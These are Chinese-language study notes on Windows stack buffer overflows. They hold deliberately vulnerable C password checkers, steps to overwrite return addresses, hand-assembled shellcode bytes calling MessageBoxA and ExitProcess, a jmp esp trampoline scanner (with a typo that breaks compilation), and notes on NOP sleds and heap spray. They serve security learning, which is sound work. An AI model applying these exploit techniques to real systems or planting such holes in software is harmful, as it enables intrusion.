
ESP:該指針永遠指向系統棧最上面一個棧幀的棧頂
EBP:該指針永遠指向系統棧最上面一個棧幀的底部

01 修改函數返回地址
#include<stdio.h>
#include<string.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[8];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
int main()
{
int valid_flag=0;
char password[1024];
while(1)
{
printf("please input password:");
scanf("%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrenct\n");
}
else{
printf("Congratulation\n");
break;
}
}
return 0;
}

輸入8個字符后結尾的NULL會覆蓋authenticated
02 控制函數執行流程
#include<stdio.h>
#include<string.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[8];
printf("%p\n",&buffer);
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
int main()
{
int valid_flag=0;
char password[1024];
FILE *fp;
if(!(fp=fopen("password.txt","rw+"))){
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrenct password!\n");
}
else{
printf("Congratulation\n");
}
fclose(fp);
return 0;
}
(1) 摸清楚棧中的狀況,函數地址距離緩沖區的偏移量

通過字符串搜索得到返回地址0x00401122
(2) 要得到程序中密碼驗證通過的指令地址,以便程序直接跳去這個分支執行
需要逆序輸入4個字節

(3) 要在password.txt文件的相應偏移處填上這個地址

由於棧內EBP等被覆蓋為無效值,使得程序在退出時堆棧無法平衡
03 向進程中植入代碼
1、Depends找到user32.dll基址 MessageBoxA偏移地址

2、在匯編語言中調用這個函數需要獲得這個函數的入口地址
機器碼 | 匯編 | 注釋 |
33DB | XOR EBX, EBX | 壓如NULL結尾的“failwest”字符串 |
53 | PUSH EBX | 之所以用EBX清零后入棧作為字符串的 |
6877657374 | PUSH 6877657374 | 截斷符,是為了避免“PUSH 0”中的NULL |
686661696C | PUSH 686661696C | 否則植入的機器碼會被strcpy函數截斷 |
8BC4 | MOV EAX, ESP | EAX里是字符串指針 |
53 | PUSH EBX | 4個參數按從右向左的順序入棧 |
50 | PUSH EAX | 分別是(0,failwest,failwest,0) |
50 | PUSH EAX | |
53 | PUSH EBX | |
B8EA07D577 | MOV EAX, 0x77D507EA | 調用MessageBoxA 不同的機器這里的函數入口 |
FFD0 | CALL EAX | 地址不同 |

90后面填入buffer地址
成功通過溢出調用了MessageBoxA

ESP所指的位置恰好是我們所淹沒的返回地址的下一個位置

**04 獲取 “跳板” 的地址
這種定位shellcode方法使進程空間里一條 jmp esp 指令作為跳板,不論棧幀怎么移位,都能跳回棧區
獲得 user32.dll 內跳轉指令地址最直觀的方法就是編程搜索內存
#include<Windows.h>
#include<stdio.h>
#define DLL_NAME "user32.dll"
int main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + postion;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
return 0;
}
還可以用OllyUni.dll插件
http://cracklab.ru/olya/
添加插件后,在c頁面右鍵出現Overflew Return Address

搜索完后,單擊 “L” 可以在日志窗口中查看搜索結果
為了讓程序正常退出,需要用depends查找kernel32.dll中的ExitProcess的地址

寫出shellcode的源代碼
#include<Windows.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp, 0x440
xor ebx, ebx
push ebx //cut string
push 0x74736577
push 0x6C696166
mov eax, esp
push ebx
push eax
push eax
push ebx
mov eax, 0x77D507EA
call eax //call MessageBoxA
push ebx
mov eax, 0x7C81CAFA
call eax //call exit(0)
}
}
編譯后在OD中打開,找到代碼后dump:右鍵復制->到文件

33DB xor ebx,ebx
53 push ebx
68 77657374 push 0x74736577
68 6661696C push 0x6C696166
8BC4 mov eax,esp
53 push ebx
50 push eax
50 push eax
53 push ebx
B8 EA07D577 mov eax,user32.MessageBoxA
FFD0 call eax
53 push ebx
B8 FACA817C mov eax,kernel32.ExitProcess
FFD0 call eax

在shellcode前加上jmp esp的地址
05 地址錯位
為了通用性,我們通常會在shellcode一開始就大范圍抬高棧頂,從而達到保護自身安全的目的
mov eax,esp 和 jmp eax 也可以完成進入棧區的功能
擴大shellcode面積,提高命中率(函數返回時,只要能擊中nop區shellcode就能執行
)
大面積“掃射”返回地址(用一大片返回地址來覆蓋真正的返回地址,增加命中的成功率)
解決字節錯位:不同的主機會有不同的安裝目錄,可能導致覆蓋的地址錯位失效,使用按字節相同的雙字節跳轉地址,甚至可以使用堆中的地址,然后想辦法將shellcode用堆擴展的辦法放置在響應的區域,這種heap spray的辦法經常在IE漏洞中使用